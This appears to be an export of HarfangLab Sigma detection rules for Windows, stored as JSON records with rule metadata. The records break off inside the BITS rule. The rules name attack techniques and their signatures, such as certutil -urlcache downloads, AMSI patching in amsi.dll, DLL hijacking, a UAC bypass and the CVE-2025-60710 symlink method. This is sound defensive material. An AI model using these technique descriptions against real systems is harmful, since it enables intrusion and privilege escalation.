+  "rule_description": "Detects the creation of a .HTA file used to reconnect a system infected by Koadic back to its C2 server.\nKoadic is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub.\nIt is recommended to analyze the process responsible for creation of this file to look for other malicious actions, as well as to investigate suspicious network activity from a potential Koadic beacon.\n",
+  "rule_creation_date": "2021-02-11",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1547"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "23c070c2-f80e-42b8-a453-5cda9de44edb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098949Z",
+  "creation_date": "2026-03-23T11:45:34.098951Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098961Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_lockscreencontentserver.yml",
+  "content": "title: DLL Hijacking via lockscreencontentserver.exe\nid: 23c070c2-f80e-42b8-a453-5cda9de44edb\ndescription: |\n    Detects potential Windows DLL Hijacking via lockscreencontentserver.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'lockscreencontentserver.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\duser.dll'\n            - '\\dwmapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "23c070c2-f80e-42b8-a453-5cda9de44edb",
+  "rule_name": "DLL Hijacking via lockscreencontentserver.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via lockscreencontentserver.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "23c4819b-cfa3-4862-a35c-8735c0ec96a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073715Z",
+  "creation_date": "2026-03-23T11:45:34.073717Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073721Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Certutil/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1105_certutil_download_usage.yml",
+  "content": "title: File Downloaded via Certutil\nid: 23c4819b-cfa3-4862-a35c-8735c0ec96a4\ndescription: |\n    Detects usage of certutil.exe to download a file from a given URL.\n    Adversaries may transfer tools or other files from an external system into a compromised environment through Certutil to evade detection.\n    It is recommended to analyze the parent process and to downloaded file to look for malicious content or actions.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Certutil/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2021/05/26\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1105\n    - attack.s0160\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Certutil\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_common_1:\n        - Image|endswith: '\\certutil.exe'\n        # Renamed binaries\n        - OriginalFileName: 'CertUtil.exe'\n\n    selection_common_2:\n        CommandLine|contains:\n            - ' -split '\n            - ' /split '\n\n    selection_common_3:\n        CommandLine|contains:\n            - ' -f '\n            - ' /f '\n\n    selection_variant_urlcache:\n        CommandLine|contains:\n            - ' -urlcache '\n            - ' /urlcache '\n\n    selection_variant_verifyctl:\n        CommandLine|contains:\n            - ' -verifyctl '\n            - ' /verifyctl '\n\n    condition: all of selection_common_* and 1 of selection_variant_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "23c4819b-cfa3-4862-a35c-8735c0ec96a4",
+  "rule_name": "File Downloaded via Certutil",
+  "rule_description": "Detects usage of certutil.exe to download a file from a given URL.\nAdversaries may transfer tools or other files from an external system into a compromised environment through Certutil to evade detection.\nIt is recommended to analyze the parent process and to downloaded file to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-05-26",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "23c6fc5b-6b2b-4ae3-8b4c-fbac861ae8b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072727Z",
+  "creation_date": "2026-03-23T11:45:34.072730Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072734Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/BeichenDream/GodPotato",
+    "https://attack.mitre.org/techniques/T1021/003/"
+  ],
+  "name": "t1021_003_suspicious_process_via_dcom.yml",
+  "content": "title: Suspicious Process Launched via DCOM\nid: 23c6fc5b-6b2b-4ae3-8b4c-fbac861ae8b5\ndescription: |\n    Detects a suspicious process launch with token impersonation via DCOM that can be the result of privilege escalation.\n    The GodPotato hacktool is known to use this method.\n    It is recommended to investigate the launched process to determine its legitimacy.\nreferences:\n    - https://github.com/BeichenDream/GodPotato\n    - https://attack.mitre.org/techniques/T1021/003/\ndate: 2023/10/27\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage: '?:\\Windows\\System32\\svchost.exe'\n        ParentCommandLine|contains: 'seclogon'\n        UserSID: 'S-1-5-20'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "23c6fc5b-6b2b-4ae3-8b4c-fbac861ae8b5",
+  "rule_name": "Suspicious Process Launched via DCOM",
+  "rule_description": "Detects a suspicious process launch with token impersonation via DCOM that can be the result of privilege escalation.\nThe GodPotato hacktool is known to use this method.\nIt is recommended to investigate the launched process to determine its legitimacy.\n",
+  "rule_creation_date": "2023-10-27",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "23ec89c2-af05-41a4-aa3a-a08516d8e33c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093309Z",
+  "creation_date": "2026-03-23T11:45:34.093311Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093316Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_consent.yml",
+  "content": "title: UAC Bypass Executed via consent\nid: 23ec89c2-af05-41a4-aa3a-a08516d8e33c\ndescription: |\n    Detects an unsigned DLL being loaded by consent.exe.\n    This may be indicative of a technique used for circumventing User Account Control (UAC) to escalate privileges.\n    Windows User Account Control allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to investigate the behavior of consent.exe and to identify the process responsible for the DLL file creation.\nreferences:\n    - https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/09/10\nmodified: 2025/02/13\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.002\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image: '?:\\Windows\\System32\\consent.exe'\n        ImageLoaded|endswith: '\\Windows\\System32\\consent.exe.local\\\\*\\comctl32.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "23ec89c2-af05-41a4-aa3a-a08516d8e33c",
+  "rule_name": "UAC Bypass Executed via consent",
+  "rule_description": "Detects an unsigned DLL being loaded by consent.exe.\nThis may be indicative of a technique used for circumventing User Account Control (UAC) to escalate privileges.\nWindows User Account Control allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to investigate the behavior of consent.exe and to identify the process responsible for the DLL file creation.\n",
+  "rule_creation_date": "2020-09-10",
+  "rule_modified_date": "2025-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "240337a9-d676-4c03-b22e-8f7efcef8f2d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086779Z",
+  "creation_date": "2026-03-23T11:45:34.086781Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086786Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/h0ru/AMSI-Reaper",
+    "https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_amsi_reaper_powershell.yml",
+  "content": "title: PowerShell AMSI Reaper Executed\nid: 240337a9-d676-4c03-b22e-8f7efcef8f2d\ndescription: |\n    Detects the execution of the AMSI (Antimalware Scan Interface) Reaper PowerShell tool.\n    This tool prevents the Windows AMSI to scan a specified process by patching the entry point of AmsiOpenSession in amsi.dll.\n    It is recommended to analyze the process executing this PowerShell script as well as to look for other type of malicious behavior on the target host.\nreferences:\n    - https://github.com/h0ru/AMSI-Reaper\n    - https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2024/02/07\nmodified: 2025/02/05\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.HackTool.AMSIReaper\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_name:\n        PowershellCommand|contains: 'AMSIReaper'\n\n    selection_amsi:\n        PowershellCommand|contains|all:\n            - 'AmsiOpenSession'\n            - 'amsi.dll'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "240337a9-d676-4c03-b22e-8f7efcef8f2d",
+  "rule_name": "PowerShell AMSI Reaper Executed",
+  "rule_description": "Detects the execution of the AMSI (Antimalware Scan Interface) Reaper PowerShell tool.\nThis tool prevents the Windows AMSI to scan a specified process by patching the entry point of AmsiOpenSession in amsi.dll.\nIt is recommended to analyze the process executing this PowerShell script as well as to look for other type of malicious behavior on the target host.\n",
+  "rule_creation_date": "2024-02-07",
+  "rule_modified_date": "2025-02-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "24117cea-8f26-491f-a109-aa3ea8e9fc04",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604215Z",
+  "creation_date": "2026-03-23T11:45:34.604218Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604225Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.huntress.com/blog/3cx-voip-software-compromise-supply-chain-threats",
+    "https://www.trendmicro.com/de_de/research/23/c/information-on-attacks-involving-3cx-desktop-app.html",
+    "https://attack.mitre.org/techniques/T1102/"
+  ],
+  "name": "t1102_3cx_github_dns.yml",
+  "content": "title: Backdoored 3CXDesktopApp Github Communication Detected\nid: 24117cea-8f26-491f-a109-aa3ea8e9fc04\ndescription: |\n    Detects DNS requests to github.com and raw.githubusercontent.com made by the 3CXDesktopApp software.\n    In late March 2023, the 3CXDesktopApp software was backdoored and turned into a stealer to in a wide supply chain attack.\n    The backdoored 3CXDesktopApp gathers C2 URLs through a GitHub repository.\n    It is recommended to terminate the 3CX software, to update it to a safe version and to look for signs of malicious actions stemming from the 3CX process.\nreferences:\n    - https://www.huntress.com/blog/3cx-voip-software-compromise-supply-chain-threats\n    - https://www.trendmicro.com/de_de/research/23/c/information-on-attacks-involving-3cx-desktop-app.html\n    - https://attack.mitre.org/techniques/T1102/\ndate: 2023/03/31\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1195.002\n    - attack.command_and_control\n    - attack.t1102\n    - attack.t1071.001\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Trojan.3CX\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryName:\n            - 'github.com'\n            - 'raw.githubusercontent.com'\n        ProcessOriginalFileName: '3CXDesktopApp.exe'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "24117cea-8f26-491f-a109-aa3ea8e9fc04",
+  "rule_name": "Backdoored 3CXDesktopApp Github Communication Detected",
+  "rule_description": "Detects DNS requests to github.com and raw.githubusercontent.com made by the 3CXDesktopApp software.\nIn late March 2023, the 3CXDesktopApp software was backdoored and turned into a stealer to in a wide supply chain attack.\nThe backdoored 3CXDesktopApp gathers C2 URLs through a GitHub repository.\nIt is recommended to terminate the 3CX software, to update it to a safe version and to look for signs of malicious actions stemming from the 3CX process.\n",
+  "rule_creation_date": "2023-03-31",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1102",
+    "attack.t1195.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "244d41bc-5373-4c23-8781-b57d4dd31e2d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604446Z",
+  "creation_date": "2026-03-23T11:45:34.604449Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604457Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Wh04m1001/CVE-2025-60710",
+    "https://nvd.nist.gov/vuln/detail/CVE-2025-60710",
+    "https://attack.mitre.org/techniques/T1187/"
+  ],
+  "name": "cve_2025_60710_windows_recall.yml",
+  "content": "title: CVE-2025-60710 Windows Recall Privilege Escalation\nid: 244d41bc-5373-4c23-8781-b57d4dd31e2d\ndescription: |\n    Detects file manipulation associated with CVE-2025-60710.\n    CVE-2025-60710 is a local privilege escalation issue where a Windows scheduled task (WindowsAI\\Recall\\PolicyConfiguration) deletes GUID-pattern folders in %LOCALAPPDATA% without validating symlinks.\n    A low privilege user can plant a malicious symlinked directory to force SYSTEM level arbitrary folder deletion.\n    The task’s multiple triggers let an attacker reliably invoke the deletion.\n    It is recommended to check the related process for suspicious activities.\nreferences:\n    - https://github.com/Wh04m1001/CVE-2025-60710\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-60710\n    - https://attack.mitre.org/techniques/T1187/\ndate: 2025/11/14\nmodified: 2025/11/17\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - cve.2025-60710\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Exploit.Recall\n    - classification.Windows.Exploit.CVE-2025-60710\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: filesystem_rename\ndetection:\n    selection:\n        Path: '?:\\Users\\\\*\\AppData\\Local\\CoreAIPlatform.00\\UKP\\{????????-????-????-????-????????????}'\n        TargetPath|startswith: '?:\\Windows'\n\n    filter_system:\n        ProcessUserSID: 'S-1-5-18'\n\n    condition: selection and not filter_system\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "244d41bc-5373-4c23-8781-b57d4dd31e2d",
+  "rule_name": "CVE-2025-60710 Windows Recall Privilege Escalation",
+  "rule_description": "Detects file manipulation associated with CVE-2025-60710.\nCVE-2025-60710 is a local privilege escalation issue where a Windows scheduled task (WindowsAI\\Recall\\PolicyConfiguration) deletes GUID-pattern folders in %LOCALAPPDATA% without validating symlinks.\nA low privilege user can plant a malicious symlinked directory to force SYSTEM level arbitrary folder deletion.\nThe task’s multiple triggers let an attacker reliably invoke the deletion.\nIt is recommended to check the related process for suspicious activities.\n",
+  "rule_creation_date": "2025-11-14",
+  "rule_modified_date": "2025-11-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "24693ed1-f629-47e5-bb5e-0ce442188fe9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071195Z",
+  "creation_date": "2026-03-23T11:45:34.071197Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071201Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager",
+    "https://blog.menasec.net/2021/05/hunting-for-suspicious-usage-of.html",
+    "https://attack.mitre.org/techniques/T1197/",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/software/S0190/"
+  ],
+  "name": "t1197_suspicious_binary_launched_by_bits.yml",
+  "content": "title: Suspicious Binary Launched via BITS\nid: 24693ed1-f629-47e5-bb5e-0ce442188fe9\ndescription: |\n    Detects execution of suspicious binary launched by BITS.\n    This is typically the case of programs set to execute via the SetNotifyCmdline method from IBackgroundCopyManager interface.\n    This method is often used by attackers to download malicious files, exfiltrate data or maintain persistence.\n    It is recommended to investigate the created process for suspicious activities.\nreferences:\n    - https://docs.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager\n    - https://blog.menasec.net/2021/05/hunting-for-suspicious-usage-of.html\n    - https://attack.mitre.org/techniques/T1197/\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/software/S0190/\ndate: 2021/07/30\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.t1197\n    - attack.command_and_control\n    - attack.t1105\n    - attack.s0190\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        # C:\\Windows\\System32\\svchost.exe -k netsvcs -p -s BITS\n        ParentImage|endswith: '\\svchost.exe'\n        ParentCommandLine|contains: ' BITS'\n\n    exclusion_bits:\n        CommandLine: 